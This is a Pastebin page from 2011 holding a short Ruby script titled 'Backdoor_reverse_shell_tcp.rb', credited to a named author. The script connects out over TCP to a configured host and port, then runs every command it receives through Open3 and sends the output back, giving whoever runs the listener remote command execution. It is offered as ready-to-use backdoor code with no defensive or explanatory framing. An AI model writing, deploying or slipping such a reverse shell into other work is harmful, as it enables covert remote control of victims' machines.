Advertisement
Guest User

Backdoor_reverse_shell_tcp.rb

a guest
Jul 21st, 2011
272
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 0.61 KB | None | 0 0
  1. ################################
  2. #Jalal azedine
  3. #http://w3xw3x.blogspot.com
  4. ################################
  5. require 'socket'
  6. require 'open3'
  7. include Socket::Constants
  8.  
  9. host = "127.0.0.1"
  10. port = "4444"
  11.  
  12. sock = Socket.new(AF_INET, SOCK_STREAM, 0)
  13. sockaddr = Socket.pack_sockaddr_in(port, host)
  14. sock.connect(sockaddr)
  15. sock.send("Connection Established !!\n",0)
  16.  
  17. while 1
  18.     data = sock.recv(1024)
  19.     break if data == "quit\n"
  20.     i, out, error, wait_thr = Open3.popen3(data)
  21.     std_out = out.read
  22.     std_err = error.read
  23.     sock.send(std_out, 0)
  24.     sock.send(std_err, 0)
  25.  
  26. end #while
  27. sock.close
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement